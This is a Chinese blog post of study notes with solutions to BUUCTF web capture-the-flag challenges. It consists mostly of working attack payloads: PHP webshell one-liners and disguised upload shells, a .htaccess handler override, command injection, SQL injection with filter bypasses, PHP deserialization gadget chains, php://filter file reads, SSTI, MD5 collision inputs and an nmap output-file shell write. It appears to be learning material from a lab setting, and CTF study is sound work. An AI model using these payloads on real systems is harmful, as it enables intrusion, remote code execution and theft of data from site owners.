加载头像
原创

学习日记-5(buu)

Created Updated
学习日记-5(buu)

[极客大挑战 2019]EasySQL

[极客大挑战 2019]Havefun

[ACTF2020 新生赛]Include

?file=php://filter/convert.base64-encode/resource=flag.php

[HCTF 2018]WarmUp

?file=source.php?../../../../../ffffllllaaaagggg

[ACTF2020 新生赛]Exec

127.0.0.1|cat /flag

[GXYCTF2019]Ping Ping Ping

?ip=127.0.0.1|cat$IFS`ls`;然后查看源码

[极客大挑战 2019]Secret File

?file=php://filter/convert.base64-encode/resource=flag.php 然后base64解码

[ACTF2020 新生赛]BackupFile

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
?key=123

[极客大挑战 2019]Upload

<script language="php">
@system($_GET['c']);
</script>
**GIF89a**<script language="php">
@system($_GET['c']);
</script>
?c=cat /flag;

[ACTF2020 新生赛]Upload

?1=cat /flag;

[MRCTF2020]你传你🐎呢

<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
<?php@eval($_POST[1]);?>

[GXYCTF2019]BabyUpload

<script language="php">@eval($_POST[1]);</script>

[极客大挑战 2019]Knife

[极客大挑战 2019]PHP

<?php

class Name{
    private $username = 'admin';
    private $password = '100';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

        }
    }
}
echo serialize(new Name('admin', 100));

?>
#O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
?>
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[极客大挑战 2019]BuyFlag

~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
money=10e8&password=404a  #得到flag

[RoarCTF 2019]Easy Calc

?%20num=print_r(scandir(chr(0x2f)));
#Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => f1agg [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => root [16] => run [17] => sbin [18] => srv [19] => start.sh [20] => sys [21] => tmp [22] => usr [23] => var ) 1
file_get_contents(chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67));
#构造/f1agg,得到flag

[HCTF 2018]admin

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=useless.php
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

<?php

class Flag{  //flag.php
    public $file = 'flag.php';
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}

echo serialize(new Flag);
#O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
?>
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[MRCTF2020]Ez_bypass

?id[]=a&gg[]=s;
passwd=1234567a

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
read()<-process()
<?php

class FileHandler
{

    protected $op = 2;
    protected $filename = 'php://filter/convert.base64-encode/resource=flag,php';
    protected $content;

}

echo serialize(new FileHandler());
#O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:52:"php://filter/convert.base64-encode/resource=flag,php";s:10:"%00*%00content";N;}
<?php

class FileHandler
{

    public $op = 2;
    public $filename = 'php://filter/convert.base64-encode/resource=flag,php';
    public $content;

}

echo serialize(new FileHandler());
#O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
解密即可

[NPUCTF2020]ReadlezPHP

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;
echo serialize($c);

[BSidesCF 2020]Had a bad day

?category=php://filter/convert.base64-encode/resource=woofers/../flag
解码

[网鼎杯 2020 朱雀组]phpweb

func=file_get_contents&p=index.php
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
<?php
class Test
{
    var $p = "ls";
    var $func = "system";
}

$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
echo serialize(new Test());
慢慢找,发现在
/tmp/flagoefiu4r93
<?php
class Test
{
    var $p = "cat /tmp/flagoefiu4r93";
    var $func = "system";
}

$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
echo serialize(new Test());
#func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[BJDCTF2020]The mystery of ip

{{system('ls /')}}
{{system('cat /flag')}}

[极客大挑战 2019]BabySQL

查看当前数据库,发现是geek
1' uunionnion sselectelect 1,2,database()--+
查看所有数据库,
Your password is 'information_schema,performance_schema,test,mysql,ctf,geek'
1' uunionnion sselectelect 1,2,group_concat(schema_name) ffromrom infoorrmation_schema.schemata--+
查看ctf中表名Your password is 'Flag'
1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='ctf'--+1' uunionnion sselectelect 1,2,flag ffromrom ctf.Flag--+
查看列名Your password is 'flag
1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='Flag'--+
查看flag
1' uunionnion sselectelect 1,2,flag ffromrom ctf.Flag--+

[SUCTF 2019]EasySQL


mysql> select * from ctf;
+------+------+------+-------------+
| 1    | 2    | 3    | flag        |
+------+------+------+-------------+
| 1    | 2    | 3    | flag{sanye} |
| 1    | 2    | 3    |             |
| 1    | 2    | 3    |             |
| 1    | 2    | 3    |             |
| 1    | 2    | 3    |             |
|      |      | 3    |             |
+------+------+------+-------------+

mysql> select 1,2,3||flag from ctf;
+---+---+---------+
| 1 | 2 | 3||flag |
+---+---+---------+
| 1 | 2 |       1 |
| 1 | 2 |       1 |
| 1 | 2 |       1 |
| 1 | 2 |       1 |
| 1 | 2 |       1 |
| 1 | 2 |       1 |
+---+---+---------+
mysql> select 1,2,3&&flag from ctf;
+---+---+---------+
| 1 | 2 | 3&&flag |  
+---+---+---------+
| 1 | 2 |       0 |  SQL语言进行逻辑运算时以非数字字符开头的字符串始终被转为 0
| 1 | 2 |       0 |
| 1 | 2 |       0 |
| 1 | 2 |       0 |
| 1 | 2 |       0 |
| 1 | 2 |       0 |
+---+---+---------+
所以可以通过*,1得到flag
当后面是||flag就可以通过set sql_mode=PIPES_AS_CONCAT将管道符 || 变成字符串连接运算符获得flag
1;set sql_mode=PIPES_AS_CONCAT;select 1

[极客大挑战 2019]LoveSQL

获取库名
1' union select 1,2,database()#       Your password is 'geek'
获取表名   Your password is 'geekuser,l0ve1ysq1'
1' union select 1,2,group_concat(table_name)  from information_schema.tables where table_schema='geek'#
获取列名 Your password is 'id,username,password'
1' union select 1,2,group_concat(column_name)  from information_schema.columns where table_name='l0ve1ysq1'#
获取username,password得到flag
1' union select 1,2,group_concat(username,password)  from l0ve1ysq1#

[GXYCTF2019]BabySQli

1’ union select 1,'admin',2#可判断用户名在第二列
mysql> select * from ctf union select 'admin',1,flag,3 from ctf
    -> ;
+-------+------+--------------+--------------+
| 1     | 2    | 3            | flag         |
+-------+------+--------------+--------------+
| 1     | 2    | 3            | 1flag{sanye} |
| 1     | 2    | 3            |              |
|       |      | 3            |              |
| admin | 1    | 1flag{sanye} | 3            |
| admin | 1    |              | 3            |
+-------+------+--------------+--------------+
name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

[安洵杯 2019]easy_web

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi～ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
与
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
或者
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
与
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

[BJDCTF2020]ZJCTF，不过如此

POST /?text=php://input&file=php://filter/convert.base64-encode/resource=next.php HTTP/1.1
Host: f340604a-c708-463c-a700-82cac6784ae3.node5.buuoj.cn:81
Content-Length: 14
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Origin: http://f340604a-c708-463c-a700-82cac6784ae3.node5.buuoj.cn:81
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://f340604a-c708-463c-a700-82cac6784ae3.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive

I have a dream
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

next.php?\S*=${getFlag()}&cmd=system('cat /flag');

[BUUCTF 2018]Online Tool

函数名用途作用对象示例处理效果
escapeshellarg()安全转义参数单个参数值ls 'abc; rm -rf /'加引号包裹 + 内部转义
escapeshellcmd()安全转义整个命令行整条命令ls\; cat /etc/passwd特殊字符前加反斜杠
两函数escapeshellarg(),escapeshellcmd()：先后调用会导致漏洞的产生
通过nmap 的-oG参数将代码与命令写到文件中
?host=' <?php echo `cat /flag`;?> -oG 1.php '
访问e6305cd14dbe6e1fc4041d81cb3fc9ee/1.php即可得到flag

[极客大挑战 2019]RCE ME

<?php
echo "(~",urlencode(~'phpinfo'),')','();';
?code=(~%8F%97%8F%96%91%99%90)();查看phpinfo
eval不是php函数不能直接用
通过构造assert(eval($_POST[1]));
?code(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

[网鼎杯 2018]Fakebook

?no=1 and 1=2 会报错是数字型注入
?no=1 group by 4正常,5报错,有4列
看wp,union select被禁,通过/**/绕过
?no=-1 union/**/select 1,2,3,4 --+发现会回显位2
no=-1 union/**/select 1,database(),3,4 --+  fakebook
?no=-1 union/**/select 1,group_concat(table_name),2,3 from information_schema.tables where table_schema='fakebook'--+
表:users
?no=-1 union/**/select 1,group_concat(column_name),2,3 from information_schema.columns where table_name='users'--+
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS	
?no=-1 union/**/select 1,group_concat(username,passwd,data),2,3 from users --+
<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

<?php
class UserInfo
{
    public $name = "sanye";
    public $age = 18;
    public $blog = "file:///var/www/html/flag.php";

}

echo serialize(new UserInfo());
?no=-1%20union/**/select%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22sanye%22;s:3:%22age%22;i:18;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27%20--+

万能密码 admin’ or 1=1# 密码随便查看源码?cat=dog直接伪协议查看源码发现source.php,然后有发现hint.php,发现ffffllllaaaagggg通过尝试发现” ‘ ? * flag \ {等被禁查看源码发现/Archive_room.php,点击按钮后快速跳转网页,进行抓包发现secr3t.php使用伪协议使用dirsearch扫,发现/index.php.bak,下载后查看发现代码上传文件抓包,发现直接改后缀没用,修改Content-Type文件内容格式为image/png尝试发现可以使用phtml作为后缀,同时过滤<?,将一句话木马改为发现还是不行,在前面添加一个GIF89a(相当于在16进制格式添加gif文件头)成功上传访问/upload/1.phtml传简单的一句话木马的png抓包改为phtml上传文件.htaccess上传文件1.pngContent-Type: 都改为image/jpeg,蚁剑连接,根目录找到flag步骤与上一题一样,一句话木马改为直接蚁剑连接,flag在根目录使用dirsearch扫发现/www.zip,下载解压发现是反序列化利用对象属性个数的值大于真实属性个数绕过__wakeup()在payflag页面查看源码,发现相关信息直接传发现没反应,用bp抓包,传了还是没反应,看见cookie:user=0,改为1提示Nember lenth is too long改为科学计数法查看源码发现calc.php利用%20绕过对num的检测,查看phpinfo()可以看到禁用函数利用chr函数构造进行绕过直接爆破,密码是123通过data协议包含输入流然后利用伪协议读取useless.php解码后得到即可即可可以发现如果要触发flag由于is_valid($s)限制,无法成功获取flagphp7.1+反序列化对类属性不敏感查看源码,发现time.php?sourceassert是php之中的断言，如果传入的是字符串则会把它作为php代码执行随便点一点发现?category=woofers,猜测直接命令执行,结果显示Sorry, we currently only support woofers and meowers.并且后面会拼接.php尝试截断发现Warning: include()…应该就是文件包含,然后直接伪协议抓包发现参数尝试看目录失败,尝试看文件应该是反序列化在flag.php看见ip,尝试修改xxf发现会回显修改的值,猜测是ssti通过1’ 1=2—+发现是字符型注入,尝试发现有3列通过爆破发现or and from ,select union where等会被替换为空通过爆破发现union,from,and,or,information等被禁输入1,2,3时发现Array ( [0] => 1 [1] => 2 [2] => 1 ) 按理说最后应该是3,但是为什么是1呢当查询时进行逻辑运算时会出现这种情况判断为字符型注入,闭合符为’,列数为3,使用union注入字符型注入,’闭合,有3列,查看源码发现有大串编码,解密得到:select * from user where username = ‘$name’传入admin发现会由之前wrong user变为wrong pass 说明有admin账户通过看一篇wp说直接猜测search.php源码,直接人麻了,翻了几篇博客才发现题目那里可以看源码会对传入的密码进行MD5加密然后与数据库的密码对比,若为真就输出flag联合查询并不存在的数据时，联合查询就会构造一个 虚拟的数据表抓包发现?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= CyberChef解码发现是555.png尝试读取index.php,进行hex加密然后两次base64将结果解码利用\绕过命令的过滤,由于进行了类型转换,不能使用数组使用以下进行md5强比较绕过通过php://input,php://filter进行绕过抓包传入将结果解码获取第一个get传入的参数与它的值,通过正则\S*绕过无数字字母rce,通过取反构造进行绕过使用蚁剑连接,flag在根目录但是看不到,通过插件绕过disable_functions执行/readflag得到flag注册账号并可以成功登录,发现?no=1尝试命令执行发现[*] query error! (Unknown column ‘ls’ in ‘where clause’)是sql注入最后发现sanye4e2e603ad32bb2e1335b383c6d4b9a6d353cca643f2808e389a06cb1af930dd661ba77ad76061192ef5baf562297bcc6aeb5e9580c7f6f7ec6b7a353fc96d03dO:8:“UserInfo”:3{s:4:“name”;s:5:“sanye”;s:3:“age”;i:18;s:4:“blog”;s:5:“4.com”;} wp说有robots.txt,得到user.php.bak通过反序列化写入file://伪协议进行读取flag

头像 头像
awovkj
原创 学习日记-5(buu)
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
avatar

awovkj
Recent Post
文件上传
文件上传
未命名
未命名
图片预览
图片预览
学习日记-2(SQL注入篇)
学习日记-2(SQL注入篇)
学习日记-5(buu)
学习日记-5(buu)